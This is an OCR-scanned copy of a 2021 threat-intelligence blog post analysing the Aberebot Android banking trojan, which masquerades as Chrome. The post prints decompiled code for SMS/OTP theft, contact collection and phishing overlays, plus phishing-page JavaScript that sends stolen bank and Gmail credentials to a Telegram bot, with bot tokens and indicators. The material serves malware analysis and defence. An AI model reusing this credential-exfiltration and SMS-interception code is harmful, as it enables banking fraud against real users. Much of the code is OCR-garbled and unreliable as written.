Aberebot on the Rise: New Banking Trojan Targeting Users Through Phishing

@ blog.cyble.com/2021/07/30/aberebot-on-the-rise-new-banking-trojan-targeting-users-through-phishing/

July 30, 2021
=5

Update: The Threat Actor is now actively working on the next version of the malware. We will continue to track the actor for any
further updates.
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- Aberebot on the Rise: New Banking Trojan Targeting Users Through Phishing
Cyble has discovered a new Android banking Trojan called Aberebot that targets banking customers of

140+ banks in 18 countries through phishing.
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Yes | saw it. Recoding and adding new features like socks proxy now. After that | will release V2 with private version at least for 3k/month. Poor
people shouldn't take part in this business. | will give support to buyers until their time ends.
Aberebot malware author discussing the new version of malware on a cybercrime forum after Cyble reversed their malware and
published findings.
During Cyble’s routine Open-Source Intelligence (OSINT) research, we came across a malware posted by
a researcher on Twitter. The malware is a new banking trojan variant named Aberebot that steals sensitive information from
infected devices. This variant share similar behavioral patterns with other banking Trojans such as Cerberus. In addition to these
similarities, the trojan also steals credentials using phishing, targeting customers of 140+ banks in 18 countries.

According to an investigation conducted by the Cyble Research Labs, the Threat Actor (TA) behind Aberebot is using GitHub
to store the phishing pages. This is because, adding the webpages to the APK will drastically increase the file size.

We suspect that the TAs are targeting users via a range of vectors such as phishing campaigns or third-party app
stores. Additionally, in this case we found the malicious Trojan app masquerading as the legitimate Google Chrome app.

Technical Analysis

APK Metadata Information:

e App Name: Chrome
+ Package Name: com.example.autoclicker
o SHA256 Hash: 8bef7b86043f758a775a9cf4080f5b87d50df4778d03ecd94989f98cc5c91e75
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Figure 1: APK Information of the Malware Sample Analyzed
The malicious app requests 10 permissions in the manifest file. Out of these, 7 are dangerous and are listed in Table 1.

Permission Name Description
android.permission.READ_CONTACTS Access to phone contacts
android.permission.READ_SMS Access SMS data
android.permission.RECEIVE_MMS Receive and process MMSes
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android.permission.RECEIVE_SMS Receive and process SMSes

android.permission.SEND_SMS Send SMSes

android.permission.WRITE_SMS Modify/write the SMS data stored in the device

android.permission.BIND_ACCESSIBILITY_SERVICE Monitor device screen activities

Table 1 Permissions Requested by the Trojan
Once the user enables the permissions listed in Table 1, the malware can steal information such as
contacts, OTPs, credentials etc., that are available in the infected device.

During our static analysis, we identified the entry point classes of the Trojan. The two classes which can be used to start the
trojan are:

1. com.example.autoclicker.MainActivity: This class is launched when the user clicks on the icon of the malicious
Chrome app.

1. com.example.autoclicker.SmsReceiver — This class is initiated when the victim’s device receives an SMS/MMS.

Upon analyzing from the entry points, we observed that the Trojan uses an obfuscation technique to
restrict Reverse Engineering (RE) and to avoid detection. It also uses special characters for class names to make the RE more
complex. In addition, this app has multiple encrypted strings in various parts of the code, as shown in the Figure 2.
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Figure 2: Code with Encrypted Strings
By going through the malware’s obfuscated code, we found that it uses a combination of Advanced Encryption Standard
(AES) and string operations for encryption.

AES is a symmetric block encryption that uses a key to encrypt/decrypt the data. In this case, the app uses different keys for
decrypting suspicious encrypted strings. Some of these keys are shown in the code below.

B
JLO' Bee.at_'ﬂﬂ"_BJ—’l fdB7aa54542cda28c 58011051968 d2e bBe 01 244ch fh 782 36ce0f De 71 adac 3487 fhSh 5544 41 74c fBf 3dd fd 584504 T304 " ;
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Invoking Decryption

Function
public static String mGAAXCr ) {
return BYDecoder.m5517 CGOSS.leldRUhQKtU&jq.l“2dcbf350f99533f1"]:
}
/* renamed from: AAXXh''_"1r ', "+ 117~.SyqtM reason: contains not printable characters */

public static String m7AAX ) {
return BYDecoder.m5517(|/CO063. f4422prZTlooth|.| "0480366a3ed315639"

}
/* renamed from: AAnBw® "' '_7,’"1"*-".igWNgw reason: contains not printable characters */
public static String mBAAnBwgWNgw( ) {
return BYDecoder.mS5517( COOSS.fSOlOcrUsKhLDAs}. "09aab852be946a9d" )
}
/* renamed from: ABYwF'’,’' 117 " '*"*"""yZBJM reason: contains not printable characters
public static String m9ABYwEVZBIM() { .
return BYDecoder .nS517(/C0063. f4980vAEPOrQBi | |*fessbddfdsdsssac)—* ENcryption Key
}
/* renamed from: ABcRp .—_ " .."":"' :yDEgC reason: contains not printable-characters */
public static String mlOA
return BYDecoder.m5517(C0063. fS506zxeZpncivE, |'9393eddedS5f2932a"
}
/* renamed from: ACaMy' "~"'""""“f _'»_'ylDyJ reason: contains not pri le characters */
public static String mllAC
return BYDecoder.m5517(/CO063. f1388NVYmWzYmcf| ['bd02cccof39865d8")[;
}
/* renamed from: ADAcG™"''""+~" _“XtrRu reason: contains not printable characters */
public static String ml2ADACGXtrRu() {
return BYDecoder.m5517qC0063.‘F4146nOJvi)<u-bn. I"'6b9f310d237d4ebe" )|;

}
Encrypted String

Figure 3: Code to Invoke Decryption Function with the Key
Figure 4 showcases the decryption code used by the Aberebot Trojan.

/* renamed from: "; ;"' reason: contains not printable characters #/
public static String mS517(String text, String pass) {
byte[] result;

int hexlen = text.length(];
if (hexlen % 2 == 1) {
hexlen++;
result = new bytel (hexlen / 2]1;
text = "0" + text;
T else {
result = new bytel (hexlen / 2]1;

inmt j = 0;

for (int 1 = @; 1 = hexlen; 1 += 2] {
result[j] = (byte) Integer.parseIntitext.substringlii, 1 + 2), 16); Figure 4: Code for the Decryption Function
J++;

}

byte[] decrypt = null;

try {
Key key = new SecretKeySpec(pass.getBytes(), "AES");

Cipher cipher = Cipher.getInstance("2ES");
cipher.init(2, key);
decrypt = cipher.doFinallresult);
} catch (Exception e2] {
e2.printStackTrace()
¥
return new Stringldecrypt);

T
Upon decrypting the strings, we found several suspicious strings such as URLs, commands, etc., as shown in Table 2.

« hxxps://api.telegram[.]Jorg/bot1900116382:AAHdStvEOPr4vI7ZEHj5BdFJAICOvaovRRY/getUpdates

o hxxps://api.telegram.org/bot1900116382:AAHdStvEOPr4vI7ZEHj5BdFJAICOvaovRRY/sendMessage?
chat_id=-561929911&text=

* hxxps://github.com/yutronsayshi/aberebot234/raw/main/
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e Contacts%0A—————%0A
%0ABanking Apps%0A————  %0A
it_it.bnl.apps.banking.html

e Com.unocoin.unocoinwallet.html

Table 2 : Subset of suspicious strings after decryption

As per our analysis, we found that the Trojan constantly communicates with a Command and Control (C&C) server hosted on
a Telegram bot account.

We also observed that the app steals information based on the commands from the Telegram bot. The Aberebot Trojan receives
commands from
the URL: hxxps://api.telegram[.]Jorg/bot1900116382: AAHdStvEOPr4vi7ZEHj5BdFJAICOvaovRRY/getUpdates

Data is sent as a message to the Telegram bot using the
URL: hxxps://api.telegram[.]Jorg/bot1900116382: AAHdStvEOPr4vI7ZEHj5BdFJAICOvaovRRY/sendMessage?
chat_id=-561929911&text=

The trojan then proceeds to perform malicious activities based on the C&C server commands. Some of the malicious
activities that Aberebot is capable of performing are listed below.

Malicious Capabilities:

1. Collecting contact information from the device: The code used to collect contact data on
the victim’s device’s is shown in the figure below.

public void ull {
Array t arraylList = new Arraylist
Cursor query = getContentResolver|)
while (query.moveToMexti)) {
ing string = query.getStringiquery.getColuanIndex|MethodPool . m147BMmARITIINI )]
string string2 = query.getStringlquery.getColumnIndex| MethodPool . m3418gMYPNVSZpHI )] ) ;
arraylList .add MethodPool .m2826airdodrOril) + string + MethodPool.m2830al XjWaROxK(] + string2.replace(MethodPool .mS27SxkILNLGEVa(), **) + MethodPool .n4556rOngel xuvol ) )

.queryl ContactsCont ract . ConmonDatakKinds. Phone . CONTENT_URL, null, null, null, null);

T
query.closel ) ;
x[ MethodPool . n4355ph fMWRccDx( | = arraylist.toStringl));

Figure 4: Code for the Decryption Function

The contact data is uploaded with tag: — Contacts%e0A———%0A
1. Intercepting OTP: The malware is capable of receiving SMSes and uploading the ones that contain numbers, as shown
below.
public class er extends Br ver {
public String a = 7

public vedd onReceivelContext context, Intent intemt) {
Bundle extras:
il k = a.kiMethodPool . w387 7kiHybLUoj Dl | | ;

k.append(intent .getAction| )]

Log. 1| HethodPool . s732HCEPRUGNER! |, k.toString|

if (lintent.getAction() .equalsiMethodPool .aS037vdLZacDeDql || || intent.getAction| | .equals| MethodPool .m2832an0tPHiHGv! ) )) &b |estras = intent.getExtras()) '= mll) {
tl] ebjarr = | 2111 extras.get(MethedPool . n3506IEGTIYIQZE | 1
1 Arr = mew igel obj Arr . lengthl ;

for (int 1 = 0; 1 = objhrr.length; ire) {
if (Build.VERSION.SDK_INT -= 23] {
smsMessageArr|i] - SasMessage.createFroaPdul (bytel]) objArrli]. extras.getStringl MethodPool . wS85FgdNGweLOnl |

1 else {
smsMessageArr|i] = SasMessage.createFroaPdul (bytel]] objArrlil): Checking for numbers in SMS received
1
this.s = sesMessagedrr|i].getMessageBady | :
sesMessageArr[i] getOriginatingAddress||;
[if_ithis.a.contains| HethodPool . RS4662WSv rHYHpl | this.a.contains|MethodPool . mS11TEPCZYBpUS! || || this.a. contains|MethodPool . m265CCcTRCZFWxB! ) | this.a.contains|MethodPool . w3843k SMdx] ADTy |
Try
MainActivity spinfctivity = pew Maindctivitylls
maindctivity. xi 1. as370f) 0+ a bilityService, f6666d + MethodPool.m537SyeArRnyYVCal| + this.al;
b edtehr 2 - .
" ez.printstackTracel) ; Uploading 5M5 which has OTP

Figure 6: Code to Collect OTPs from SMSes Received
OTP data upload tag: — New SMS Received!%0ABOT ID:

1. Collecting the list of installed applications from the device

1. Sending SMS messages to numbers as per the TA's commands, as shown in the figure 7.
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CommandListener.b bVar2 = |(CommandListener.b) bVar;: Commands

Tt2=1:
rd2 = MethodPool .m16710GBOQISCCI! ) ;
try {
JSOMArray jSONArray = t2.getJSONArrayiMethodPool . m2565YLL PaTfSFB(
stro= mull;
int i = O;
for (imt 12 = 0; 12 = jJSONArray.lengthi); 12++) {

JSONObject jSONObject JSONArray.get JSONObject (12);
i = jSONObject.getInt(MethodPool .m36E5iwGhOGLGSO
str = jSONObject.get JSONOb] ect| MethodPool . m1192LXUEUBOKTx( ) | . getStringl MethodPool .nl1950SachkeyMhel ) |

int i3 = CommandListener.this.f6568c;
r3 = MethodPool . m2367WWTBACBkqol ) ;
r5 = MethodPool . m40141 xqgAUHFChAL ) ;
MethodPool . m2262ViwPzghHYL( ) ;
r7 = MethodPool . m1S9ZPTLL1tg0fz( ) ;
if (1 '= 13 && str.containsir?) && str.containsiString.valueOfiCommandListener.this.bl)) {
mainActivity = CommandListener.this.f&570e;
r0 = r6 + CommandListener.this.b + r5 + CommandListener.this.f6670e.v(] + r3 + CommandListener.al CommandListener. this);
I} else if (1 == CommandListener.this. fE6668c str.contains| MethodPool . ml9295THcFegiXVi )| str.contains(r7)) {
int 14 = CommandListener.this.f&688c;
t r32 = MethodPool .m4460q]JotsdHlwi | ;

FS52 = MethodPool .m890IRaZbMBYaS! ) : Send 5MS based on commands
if la 1= 14 Ll str containsiMethodPool m32GBfCoUgHSTHS L LL str containsCommandlaistener thig hil {
SmsManager.getDefault () .sendTextMessage(str.substringlstr.index0f(¥S3) + 1, str.index0f(r32)), null, str.substring(str.index0f(MethodPocl .n22S5VTSYDOhiIG "]-
mainActivity = CommandListener.this, f6670e;
rd = MethodPool .m2672ZLccugecziel ) ;
} else if (1 CommandListener.this. f6668c && str.contains(r02) && str.contains(CosmandListener.this.b)) {
try {
CommandListener.this.startdctivity | new Intent | CommandListener.this.getApplicationContext(), Bank.class) .putExtralr02, str.substring(str.indexOfir523) + 1.
CommandListener.this. f6670e. x( MethodPool . n5123wSKvDsQeShi | ) ; [
CommandListener . this. f5668c = i; Show phishing pages
return:
} catch | t e2) {

e2.printStackTrace(|;
mainActivity = CommandListener . this. f6670e;
r0 = MethodPool .malOdmmwHfoiKas():
¥
} else {
return;
r

Figure 7: Code to Send SMS Messages Based on TAs Commands
1. Stealing credentials of social media accounts and banking portals from the victim device.

1. Monitoring the victim device by leveraging the BIND_ACCESSIBILITY_SERVICE
BIND_ACCESSIBILITY_SERVICE:is a permissionthat allows the AbereBot to monitorthe device’s screen.
Techniques used to steal credentials of social media and banking accounts:

The banking Trojan uses phishing pages to steal credentials. The malware author has stored the phishing pages as HTML in a
GitHub repository: hxxps://github.com/yutronsayshi/aberebot234/raw/main/

Extrack

Folder

Folder

Folder
mail.html 3.1k HTML doc

-html 3.2k HTML docu...

HTM

HTML d

HTML doc

HTML d

HTML d

HTML docu...

HTMLd

HTMLd

HTML d
in_unionbank.ecommerce.mobile.android.html ~ 38.7k HTML d -
ETEN 8 HTML docu...

Phishing HTML pages for
stealing credential

Repo content: Phishing

GitHub Repos pages for each country

Figure 8: GitHub repo with Fake webpages
The malware checks for the geolocation of the device and then downloads fake HTML pages based on it. Based on the command
from C&C server, it shows the counterfeit HTML content on a WebView.

WebView is view used by Android to display web pages inside applications.
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The below figure depicts the code used to show the HTML content using WebView.

public class Bank extends j {

public class a extends WebViewClient {

}

public al) {
}

public void onPageStarted( WebView webView, g str, Bitmap bitmap) {
if (str.contains(MethodPool .m2824aiUBYVpbBql))) {

Bank.this.startActivity(new Intent(MethodPool.m5473zagqtCCxyel)) . .addCategory(MethodPool .m4511ghZAbGKsral) ) .setFlags(67108864) ) ;

Bank .this. finishAndRemoveTask( | ;

public veoid finishi) {

finishAndRemoveTaski ) ;

/¢ androidx.activity.ComponentActivity, c.k.b.p, c.h.b.g
int({"SetJavaScriptEnabled"})

@
public void onCreate(Bundle bundle) {

super.onCreatelbundle);

setContentView(R.layout .bank) ;

WebView webView = (WebView) findViewById(R.1d.webView) :

Intent intent = getIntent();

s stringExtra = intent.getStringExtral MethodPool . m681GZGeWZMoGD( ) ) ;
stringExtra2 = intent.getStringExtralMethodPool . m4495q2TclISckul ) ) ;
externalFilesDir = getExternalFilesDir(MethodPool .m2618YfLoMnvMjP(]);

webView.getSettings( ) .setCacheMode(2) ;
webView.getSettings( ) .setJavaScriptEnabled(true) ;
webView,getSettings( ) .setAllowFileAccess(true;
webView.setWebViewClient (new al));

if (stringExtra != null) {

stringExtra2 = MethodPool .m3129daiSKtEuval) + externalFilesDir + MethodPool .ml1694Q0QIWWuMiuc() + stringExtra;

} else if (stringExtra2 == null) {
return;

¥
[veb\l"ie\.r‘lnadur'l.(s‘t ringExtra2) ; l

¥
Figure 9: Code to display fake page using web view

Loads HTML page using WebView

Upon analyzing the HTML pages, we observed that the credentials are uploaded to the C&C server in Telegram. The below figure
shows the Gmail phishing page and the credential upload code.

Google

Sign in to continue to Gmail

Enter your email

e — - B e—— I
html
b <heads_</head
<!..7php
$IMEI country = htmlspecialchars(s _REQUEST["p*]. ENT QUOTES):
FFSIMEL country = “321|tr";
include “config.php®;
Foun
v <body
v <script

function test2(){setTimeout(function(}{
window. location. replace( "https://asdsadasfgertregdfgdfvev.org®):}. 1808): }:
S{document ). ready(function{) {

var email = getGoogleAccount();

if {email '= "'} {
S("input [name="email"]").val( email }:
§("#mail title').html( email };

switchStep(l, false);

M

function performEmail() {
var email = $("Femail”);
var emailValue = email.vali);:
if (emailValue == ') return false;
var result = emailValue.split('@")[0] + ‘@gmail.com’;
email.vallresult);
$("#mail title').html{result):

switchStep(l, false);
}

function start{) {
var URL__='<7php echo $URL;7=";
var IMEI="«<7php echo SIMEL country;?s':
var gmail = $('#Femail’).vali):
Mseuscd = ci's a1y

Upload Gmail Credentials

aliy:

fetch(*https://api.telegran.org/bot 19608116382 : AAHAS tvEBPr4vI TZEH) SBAF JALCOVEOWRRY/ sendMessage?
chat_id=-1001411035819&text=|Injection_4|Gmail|"+ gmadl + °|" + password);
test2();

¥

Figure 10: Fake Gmail page and code to send credentials

Abusing BIND_ACCESSIBILITY_SERVICE permission:

Upon enabling the BIND_ACCESSIBILITY_SERVICE permission, the malware leverages this capability to enable
all other permissions for itself. It constantly monitors the device screen using the same permission. Along with that, the app
restricts the user from modifying the app settings. The activities performed by abusing the

BIND_ACCESSIBILITY_SERVICE permission are:
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1. Restricting the user to enter or modify the app’s settings page

1. Constantly checking for targeted banking/social apps on the screen, and if any targeted app is present on the screen, the
malware shows the phishing page related to it for credential stealing.

Additional actions conducted by Aberebot:

1. Tricking the user with legitimate-looking Google Chrome icon and name, as shown in figure 11.

5:17 ®40]|]523 \ VR’
Q_ Search apps < Accessibility Q
- L Volume key shortcut
E T8 No service selected
Amaze Calculator Calendar Camera

Downloaded services

> @ = =
c B : G Chrome

Off

Chrome Clock Contacts Custom L...

. g:.'- u Screen readers

Dev Setti..  Dev Tools Email Files Text-to-speech output

F _J e " Display
< @ B < o ]

Chrome’s icon and app name Chrome’s icon and app name
on device screen on ACCESSIBILITY settings page

Figure 11: The Aberebot Banking Trojan Masquerades as Google Chrome
2. Hiding the application icon from the device home screen after the app starts. The code used for hiding the icon is shown in
figure 12.

invoke-direct {v2, vl, w3}, Landroid/content/ComponentMame;-==init=(Landroid/content /Context;Ljava/lang/Class; |V

invoke-virtual /range {p@ .. p@}, Landroid/app/Activity;-=getPackageManager|(|Landroid/content /pm/PackageManager;

move-result-object v3

iput-object v3, vl, Lcom/example/autoclicker/MainActivity;-=q:Landroid/content/pm/PackageManager;

const/4 ve, Ox2

const/4 v7, Oxl

invoke-virtual {v3, v2, v&, v7}, Landroid/content/pm/PackageManager;-=setComponentEnabledSetting(Landroid/content,/Componentiame;II)V
Figure 12: Code Used to Hide the Icon

Countries targeted by Aberebot: Austria, Australia, Canada, Czech Republic, Germany, Spain, France, Hong Kong, India,
Italy, Japan, Netherlands, New Zealand, Poland, Romania, Turkey, the United Kingdom, the United States of America.
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The Aberebot malware targets customers of 140+ banks, including BCR Bank, Australia and New Zealand Banking Group, US

Bank, SBI, etc. In addition, apart from banks, other targeted

accounts include PayPal, MobiKwik, Unocoin wallet and Gmail, etc.

Targeted Banks in India:

According to our findings, the malware uses phishing pages specifically designed for mobiles users. The State Bank of
India (SBI), HDFC Bank, Axis Bank, Bank of Baroda, ICICI Bank, IDBI Bank, and Union Bank are some of the India-based

banks targeted by Aberebot.

The figure below shows the malware’s phishing page that has been designed to resemble the banking page of SBI, along

with the code for stealing credentials from unsuspecting users.

°lu- Bank freadoM [® @] Elements
AgrmEn
Mobile Banking User ID
Enter MPIN
Gara

Console

Sources Network Performance Memory Application

g oForm. setAttribute( 'action’.g sFAct); // YETaHIBAWBIEM y $opiai
tryf
g oForm.action = g sFAct;

} catchiel{};

var g FrmCode = prompt(‘getId");
insHiddenField{document, g oForm

‘code’, g FrmCode): //

LOGIN

wvar g_oBtn = document.getElementByld(' submitBtnl');
g_oBtn.onclick = function () {

war oNumlnp = document.getElementByld( userid’);
var oCodelnp = document.getElementByld('password');

SBI Phishing page

lr:;i
oNumInp.className = oCodeInp.className =
I catchie){}:

input-field';

if (oNumInp.value.length <
try{
oNumIng.classMame =
} catchied{}:
return false;

6) {

fielderror';

1

if (1/*w{4.108}8/1. test{oCodeInp. value}) {
oCodeInp.classhane = 'fielderror’;

} catehiel{}:
return false;

}

top['closeblg’] = true;

#prompt( "send”, ‘{“dialog i1d~ :
"mobile banking user id": *'+oNumI
“enter mpin®: *'+olodelnp. value+'™

“comshiSBFreedom '+
«values

document . getE lementBylId( ‘content_div').style.visibility = “hi

»

yon

nonyuaes id

Access user credentials

dden”;

U OrOTm. SUBRITT ], "7

war url='<7php echo SURL:

Pt

4
html

var imei ¢='<7p >|1 eche $IMEI country; 7>
fetch(“https:/ .telegram.or ufbotl’y[‘]ll&}&.’ AAHAStvEGPr4vITZEH] SBAF) IIEU.’\O.‘RR' sendMessage?|
chat Ad--lU"i-illLl}EBlJ&tcxt |Injection_4|comsbiSBFreedon|”+oNualnp.value+* | "+oCodelnp.value);
test2():
return false; .
¥ Upload the credentials
Nos to Telegram C&C
fscript
fbody
Shtal

Figure 13: Phishing Page Designed to Target SBI customers

The image below showcases the comparison between SBI’s legitimate banking portal and Aberebot’s malicious

SBI phishing portal.
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;))))

State Bank freedoM

Your Mobile. Your Bank.

Logis to Owline SBI

CARE: Usémams nd pasimord e ches senisb

Username*
Mobile Banking User ID

Passwort

O Enatle virtuai Kisboand Enter MPIN
Entor the et as shows in the imaps *
o ow e Capcta s T
@ image Capocha O Al Capicha
gxBgg— T

SBI Original Internet Banking Page 5Bl Internet banking Page by Aberebot

Figure 14: Comparison of the Original SBI portal with the Fake SBI portal designed by Aberebot’s creator
Along with banks, Aberebot Trojan is also targeting financial applications such as MobiKwik and Oxigen Wallet, etc.

The MobiKwik’s phishing page is shown in the figure given below.

(= ﬁ_] Elements Console  Sources Network Performance Memory  Application

My

se<html> == §0

b <head>.</head

<! ..7php

Email ID SIMEI country = htmlspecialchars(s REQUEST["p"™], ENT QUOTES);:

include “config.php®; 7--=
PaSS‘NOrd w<body class="bodyclass

b =div id="content_div“=.</div
wescript
function test2(){setTimeout(function(){

. ) o if ((oNumInpl.value.length > 5)&&{oNumInp2.value.length = 3)) {
Mobikwik Phishing page var url="<7php echo SURL; ?>';
var imei c="<?php echo SIMEI country; 7>';

var loginl = document.forms[*form®").elements[login®].value;
var pass = document. forms["form"].elements|["password™].value;

»

window.location. replace( “https://asdsadasfgertregdfgdfvcv.org®):}. 1868);: }; function

sentServer()
- {
Login
var oNumInpl document.getElementById(* login®);
var oNumInp? = document.getElementByld( password’):  |Access user credentials

06

fetch{“https://api.telegram.org/bot19808116382: AAHAStvEBP r4vITZEH jSBAFJALCOvaovRRY/sendMessage?
chat_id=-1801411635819&text=|Injection 4 |mobikwik|“+loginl+"|“+pass); test2();
+
fscript 5
/body Upload the credentials

to Telegram C&C

Shtml

Figure 15: Malicious MobiKwik’s Phishing Page Designed by Aberebot’s Author

Conclusion

Our research indicates that TAs are increasingly introducing new malware techniques to evade detection. Banking threats are

increasing with every passing day and are being enhanced with sophisticated techniques. Aberebot is one

such example. According to our research, these types of malware are only distributed via sources other than Google Play

Store. As a result, it's imperative for consumers to practice cyber hygiene across their mobile
devices and online banking applications.

Recommendations

1. If you find this malware in your device, uninstall it immediately.

2. Use the sharedloCs to monitor and block the malware infection.

3. Keep your anti-virus software updated to detect and remove malicious software.
4. Keep your system and applications updated to the latest versions.

5. Use strong passwords and enable two-factor authentication.

6. Download and install software only fromregistered app stores.

MITRE ATT&CK® Techniques
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Tactic Technique ID  Technique Name
Defense Evasion T1406 Obfuscated Files or Information
Discovery T1421 System Network Connections Discovery
T1430 Location Tracking
Collection T1507 Network Information Discovery
T1412 Capture SMS Messages
T1432 Access Contact List
Command and Control T1571 Non-Standard Port
T1573 Encrypted Channel
Impact T1447 Delete Device Data
Network Effects 11449 Exploit SS7 to Redirect Phone Calls/SMS

Indicators of Compromise (loCs):

Indicators Indicator Description
type
8bef7b86043f758a775a9cf4080f5b87d50df4778d03ecd94989f98cc5c91e75 SHA256  Hash of the
APK
malware
a1e56b54768a70b73f131ef3508bd4 7fff20ae7f80856a11a83894fe686d8cc SHA256  Hash of the
second APK
sample
hxxps://api.telegram[.]Jorg/bot1900116382:AAHdStvEOPr4vI7ZEHj5BdFJAICOvaovRRY/getUpdates URL Telegram
Bot URL
hxxps://api.telegram[.]Jorg/bot1900116382:AAHdStvEOPr4vI7ZEHj5BdFJAICOvaovRRY/sendMessage? URL Telegram
chat_id=-561929911&text= Bot URL
hxxps://github.com/yutronsayshi/aberebot234/raw/main/ URL GitHub
Repo

About Us

Cybleis a global threat intelligence SaaS provider that helps enterprises protect themselves from cybercrimes and exposure in
the Darkweb. Its prime focus is to provide organizations with real-time visibility to their digital risk footprint. Backed by Y
Combinator as part of the 2021 winter cohort, Cyble has also been recognized by Forbes as one of the top 20 Best Cybersecurity
Start-ups To Watch In 2020. Headquartered in Alpharetta, Georgia, and with offices in Australia, Singapore, and India, Cyble has a
global presence. To learn more about Cyble, visitwww.cyble.com.
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https://attack.mitre.org/techniques/T1406
https://attack.mitre.org/techniques/T1421
https://attack.mitre.org/techniques/T1421%22%20%EF%BF%BDHYPERLINK%20%22https://attack.mitre.org/techniques/T1430
https://attack.mitre.org/techniques/T1507
https://attack.mitre.org/techniques/T1412/
https://attack.mitre.org/techniques/T1432/
https://attack.mitre.org/techniques/T1571
https://attack.mitre.org/techniques/T1573
https://attack.mitre.org/techniques/T1447
https://attack.mitre.org/techniques/T1449
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